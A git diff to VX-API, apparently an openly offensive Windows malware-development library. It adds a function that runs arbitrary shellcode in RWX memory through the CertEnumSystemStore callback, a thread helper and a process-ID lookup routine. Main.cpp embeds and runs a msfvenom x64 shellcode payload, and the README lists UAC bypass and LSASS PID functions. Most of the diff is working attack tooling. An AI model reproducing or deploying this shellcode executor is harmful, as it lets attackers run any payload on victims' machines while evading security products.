diff --git a/README.md b/README.md index 5a7ec48..6ee1919 100644 --- a/README.md +++ b/README.md @@ -89,6 +89,7 @@ You're free to use this in any manner you please. You do not need to use this en | GetPidFromEnumProcesses | smelly__vx | Fingerprinting | | GetPidFromPidBruteForcing | modexp | Fingerprinting | | GetPidFromNtQueryFileInformation | modexp, Lloyd Davies, Jonas Lyk | Fingerprinting | +| GetPidFromPidBruteForcingExW | smelly__vx, LLoyd Davies, Jonas Lyk, modexp | Fingerprinting | | CreateLocalAppDataObjectPath | smelly__vx | Helper Functions | | CreateWindowsObjectPath | smelly__vx | Helper Functions | | DeleteFileWithCreateFileFlag | smelly__vx | Helper Functions | @@ -107,6 +108,7 @@ You're free to use this in any manner you please. You do not need to use this en | UrlDownloadToFileSynchronous | Hans Passant | Helper Functions | | IsDllLoaded | smelly__vx | Helper Functions | | TryLoadDllMultiMethod | smelly__vx | Helper Functions | +| CreateThreadAndWaitForCompletion | smelly__vx | Helper Functions | | GetKUserSharedData | Geoff Chappell | Library Loading | | GetModuleHandleEx2 | smelly__vx | Library Loading | | GetPeb | 29a | Library Loading | @@ -129,6 +131,7 @@ You're free to use this in any manner you please. You do not need to use this en | UacBypassFodHelperMethod | winscripting.blog | Malicious Capability | | MpfGetLsaPidFromServiceManager | modexp | Malicious Capability | | MpfGetLsaPidFromRegistry | modexp | Malicious Capability | +| ShellcodeExecViaCertEnumSystemStore | alfarom256 and aahmad097| Malicious Capability | # Todo list | Functionality | Author | Note | diff --git a/VX-API/CreateThreadAndWaitForCompletion.cpp b/VX-API/CreateThreadAndWaitForCompletion.cpp new file mode 100644 index 0000000..236ae78 --- /dev/null +++ b/VX-API/CreateThreadAndWaitForCompletion.cpp @@ -0,0 +1,18 @@ +#include "Win32Helper.h" + +DWORD CreateThreadAndWaitForCompletion(_In_ LPTHREAD_START_ROUTINE StartAddress, _In_ LPVOID Parameters, _In_ DWORD dwMilliseconds) +{ + HANDLE hThread = NULL; + DWORD ExitCode = ERROR_SUCCESS; + + hThread = CreateThread(NULL, 0, StartAddress, Parameters, 0, NULL); + if (hThread == NULL) + return FALSE; + + WaitForSingleObject(hThread, dwMilliseconds); + + if (!GetExitCodeThread(hThread, &ExitCode)) + return -1; + + return ExitCode; +} \ No newline at end of file diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index 63f6ea7..12f20fc 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -18,6 +18,7 @@ typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION); typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONFILE)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG); typedef BOOL(NTAPI* RTLDOSPATHNAMETONTPATHNAME_U)(PCWSTR, PUNICODE_STRING, PCWSTR*, PRTL_RELATIVE_NAME_U); +typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG); @@ -82,3 +83,10 @@ typedef VOID(WINAPI* WTSFREEMEMORY)(PVOID); *******************************************/ typedef BOOL(WINAPI* CONVERTSIDTOSTRINGSIDW)(PSID, LPWSTR*); typedef BOOL(WINAPI* CONVERTSIDTOSTRINGSIDA)(PSID, LPSTR*); + + + +/******************************************* + CRYPT32 IMPORT +*******************************************/ +typedef BOOL(WINAPI* CERTENUMSYSTEMSTORE)(DWORD, PVOID, PVOID, PFN_CERT_ENUM_SYSTEM_STORE); \ No newline at end of file diff --git a/VX-API/GetPidFromNtQueryFileInformation.cpp b/VX-API/GetPidFromNtQueryFileInformation.cpp index 3e2f43e..4237171 100644 --- a/VX-API/GetPidFromNtQueryFileInformation.cpp +++ b/VX-API/GetPidFromNtQueryFileInformation.cpp @@ -47,7 +47,10 @@ DWORD GetPidFromNtQueryFileInformationW(_In_ PWCHAR FullBinaryPath) if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; +#pragma warning( push ) +#pragma warning( disable : 4244) ProcessId = ProcessIdArray->ProcessIdList[0]; +#pragma warning( pop ) EXIT_ROUTINE: @@ -111,7 +114,10 @@ DWORD GetPidFromNtQueryFileInformationA(_In_ PCHAR FullBinaryPath) if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; +#pragma warning( push ) +#pragma warning( disable : 4244) ProcessId = ProcessIdArray->ProcessIdList[0]; +#pragma warning( pop ) EXIT_ROUTINE: diff --git a/VX-API/GetPidFromPidBruteForcingExW.cpp b/VX-API/GetPidFromPidBruteForcingExW.cpp new file mode 100644 index 0000000..2f9eddf --- /dev/null +++ b/VX-API/GetPidFromPidBruteForcingExW.cpp @@ -0,0 +1,96 @@ +#include "Win32Helper.h" + +DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension) +{ + UNICODE_STRING NtfsRoot = { 0 }; + IO_STATUS_BLOCK IoBlock = { 0 }; + HANDLE hDevice = NULL; + OBJECT_ATTRIBUTES Attributes = { 0 }; + HMODULE hModule = NULL, hShlwapi = NULL; + PFILE_PROCESS_IDS_USING_FILE_INFORMATION ProcessIdArray = NULL; + NTSTATUS Status = STATUS_SUCCESS; + DWORD ProcessId = ERROR_SUCCESS, dwProcessInformationListArrayLength = 16384; + + NTCREATEFILE NtCreateFile = NULL; + NTCLOSE NtClose = NULL; + NTQUERYINFORMATIONFILE NtQueryInformationFile = NULL; + NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = NULL; + PATHSTRIPPATHW PathStripPathW = NULL; + + hModule = GetModuleHandleEx2W(L"ntdll.dll"); + hShlwapi = TryLoadDllMultiMethodW((PWCHAR)L"shlwapi.dll"); + + if (!hModule || !hShlwapi) + return 0; + + NtCreateFile = (NTCREATEFILE)GetProcAddressA((DWORD64)hModule, "NtCreateFile"); + NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); + NtQueryInformationFile = (NTQUERYINFORMATIONFILE)GetProcAddressA((DWORD64)hModule, "NtQueryInformationFile"); + NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddressA((DWORD64)hModule, "NtQuerySystemInformation"); + PathStripPathW = (PATHSTRIPPATHW)GetProcAddressA((DWORD64)hShlwapi, "PathStripPathW"); + if (!NtCreateFile || !NtClose || !NtQueryInformationFile || !NtQuerySystemInformation || !PathStripPathW) + return 0; + + RtlInitUnicodeString(&NtfsRoot, L"\\NTFS\\"); + + InitializeObjectAttributes(&Attributes, &NtfsRoot, OBJ_CASE_INSENSITIVE, NULL, NULL); + + Status = NtCreateFile(&hDevice, GENERIC_READ | SYNCHRONIZE, &Attributes, &IoBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, NULL, 0); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + ProcessIdArray = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, dwProcessInformationListArrayLength); + if (ProcessIdArray == NULL) + goto EXIT_ROUTINE; + + ZeroMemory(&IoBlock, sizeof(IO_STATUS_BLOCK)); + + Status = NtQueryInformationFile(hDevice, &IoBlock, ProcessIdArray, dwProcessInformationListArrayLength, FileProcessIdsUsingFileInformation); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + for (DWORD dwX = 0; dwX < ProcessIdArray->NumberOfProcessIdsInList; dwX++) + { + WCHAR ImageName[MAX_PATH * sizeof(WCHAR)] = { 0 }; + SYSTEM_PROCESS_IMAGE_NAME_INFORMATION SystemProcessInformation = { 0 }; + + if (ProcessId != ERROR_SUCCESS) + break; + +#pragma warning( push ) +#pragma warning( disable : 4244) + SystemProcessInformation.ProcessId = LongToHandle(ProcessIdArray->ProcessIdList[dwX]); +#pragma warning( pop ) + SystemProcessInformation.ImageName.Buffer = ImageName; + SystemProcessInformation.ImageName.Length = 0; + SystemProcessInformation.ImageName.MaximumLength = sizeof(ImageName); + + Status = NtQuerySystemInformation(SystemProcessIdInformation, &SystemProcessInformation, sizeof(SystemProcessInformation), NULL); + if (!NT_SUCCESS(Status)) + continue; + + if (SystemProcessInformation.ImageName.Buffer == NULL) + continue; + + PathStripPathW(SystemProcessInformation.ImageName.Buffer); + +#pragma warning( push ) +#pragma warning( disable : 4244) + if (StringCompareW(ProcessNameWithExtension, SystemProcessInformation.ImageName.Buffer) == ERROR_SUCCESS) + ProcessId = ProcessIdArray->ProcessIdList[dwX]; +#pragma warning( pop ) + } + +EXIT_ROUTINE: + + if (ProcessIdArray) + HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, ProcessIdArray); + + if (hDevice) + NtClose(hDevice); + + if (hShlwapi) + FreeLibrary(hShlwapi); + + return ProcessId; +} \ No newline at end of file diff --git a/VX-API/Internal.h b/VX-API/Internal.h index 5e8bcdc..371c758 100644 --- a/VX-API/Internal.h +++ b/VX-API/Internal.h @@ -23,6 +23,14 @@ #define OBJ_FORCE_ACCESS_CHECK 0x00000400 #define OBJ_VALID_ATTRIBUTES 0x000007f2 +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index f548282..3130fd1 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -18,8 +18,36 @@ TODO: int main(VOID) { DWORD dwError = ERROR_SUCCESS; + //EXAMPLE PAYLOAD FOR TESTING! + //msfvenom -p windows/x64/exec EXITFUNC=thread CMD=calc.exe -f c -a x64 + //Length = 277 + unsigned char GlobalOpenCalcPayload[] = + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" + "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" + "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" + "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" + "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" + "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" + "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" + "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" + "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" + "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" + "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" + "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" + "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" + "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" + "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" + "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" + "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" + "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; - dwError = GetPidFromNtQueryFileInformationW((PWCHAR)L"C:\\Windows\\System32\\cmd.exe"); + SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; + Sei.Payload = GlobalOpenCalcPayload; + Sei.dwLengthOfPayloadInBytes = 277; + + ShellcodeExecViaCertEnumSystemStore(&Sei); return dwError; } diff --git a/VX-API/ShellcodeExecViaCertEnumSystemStore.cpp b/VX-API/ShellcodeExecViaCertEnumSystemStore.cpp new file mode 100644 index 0000000..1b7ee7c --- /dev/null +++ b/VX-API/ShellcodeExecViaCertEnumSystemStore.cpp @@ -0,0 +1,44 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThread(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + CERTENUMSYSTEMSTORE pCertEnumSystemStore = NULL; + LPVOID BinAddress = NULL; + HMODULE hModule = NULL; + BOOL bFlag = FALSE; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); + if (!hModule) + goto EXIT_ROUTINE; + + pCertEnumSystemStore = (CERTENUMSYSTEMSTORE)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStore"); + if (!pCertEnumSystemStore) + goto EXIT_ROUTINE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + if (!pCertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress)) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hModule) + FreeLibrary(hModule); + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + +BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThread, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 3a6e29f..833f4c9 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -147,6 +147,7 @@ + @@ -169,6 +170,7 @@ + @@ -220,6 +222,7 @@ + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index f7e9470..227c188 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -52,6 +52,9 @@ {5c518d5a-a7b5-448a-8872-577693d1ccca} + + {aa395805-0d12-4167-b761-9e5a6a14b2df} + @@ -378,6 +381,15 @@ Source Files\Windows API Helper Functions\Fingerprinting + + Source Files\Windows API Helper Functions\Fingerprinting + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + + Source Files\Windows API Helper Functions\Helper Functions + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 51fa16d..a687dab 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -13,6 +13,26 @@ #define InlineGetCurrentThread ((HANDLE)(LONG_PTR)-2) #define InlineGetCurrentProcess (HANDLE)((HANDLE)-1) + +/* + + LPBYTE Payload is a pointer to shellcode + DWORD dwLengthOfPayloadInBytes is the length of the payload in bytes + + example: + + SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; + Sei.Payload = Shellcode; + Sei.dwLengthOfPayloadInBytes = 280 //whatever the length is + +*/ +typedef struct __SHELLCODE_EXECUTION_INFORMATION { + LPBYTE Payload; + DWORD dwLengthOfPayloadInBytes; +}SHELLCODE_EXECUTION_INFORMATION, * PSHELLCODE_EXECUTION_INFORMATION; + + + //error handling DWORD GetLastErrorFromTeb(VOID); NTSTATUS GetLastNtStatusFromTeb(VOID); @@ -101,6 +121,7 @@ BOOL IsDllLoadedW(_In_ LPCWSTR DllName); BOOL IsDllLoadedA(_In_ LPCSTR DllName); HMODULE TryLoadDllMultiMethodW(_In_ PWCHAR DllName); HMODULE TryLoadDllMultiMethodA(_In_ PCHAR DllName); +DWORD CreateThreadAndWaitForCompletion(_In_ LPTHREAD_START_ROUTINE StartAddress, _In_ LPVOID Parameters, _In_ DWORD dwMilliseconds); //fingerprinting LCID GetCurrentLocaleFromTeb(VOID); @@ -126,6 +147,7 @@ DWORD GetPidFromPidBruteForcingW(_In_ PWCHAR ProcessNameWithExtension); DWORD GetPidFromPidBruteForcingA(_In_ PCHAR ProcessNameWithExtension); DWORD GetPidFromNtQueryFileInformationW(_In_ PWCHAR FullBinaryPath); DWORD GetPidFromNtQueryFileInformationA(_In_ PCHAR FullBinaryPath); +DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension); //malicious capabilities DWORD OleGetClipboardDataA(_Inout_ PCHAR Buffer); @@ -137,6 +159,8 @@ BOOL UacBypassFodHelperMethodA(_In_ PCHAR PathToBinaryToExecute, _Inout_ PPROCES BOOL UacBypassFodHelperMethodW(_In_ PWCHAR PathToBinaryToExecute, _Inout_ PPROCESS_INFORMATION Pi); DWORD MpfGetLsaPidFromRegistry(VOID); DWORD MpfGetLsaPidFromServiceManager(VOID); +BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); + //evasion BOOL CreateProcessWithCfGuardW(_Inout_ PPROCESS_INFORMATION Pi, _In_ PWCHAR Path); diff --git a/VX-API/x64/Release/VX-API.iobj b/VX-API/x64/Release/VX-API.iobj new file mode 100644 index 0000000..c94453c Binary files /dev/null and b/VX-API/x64/Release/VX-API.iobj differ diff --git a/VX-API/x64/Release/VX-API.ipdb b/VX-API/x64/Release/VX-API.ipdb new file mode 100644 index 0000000..a99a95c Binary files /dev/null and b/VX-API/x64/Release/VX-API.ipdb differ diff --git a/x64/Release/VX-API.exe b/x64/Release/VX-API.exe new file mode 100644 index 0000000..f75a124 Binary files /dev/null and b/x64/Release/VX-API.exe differ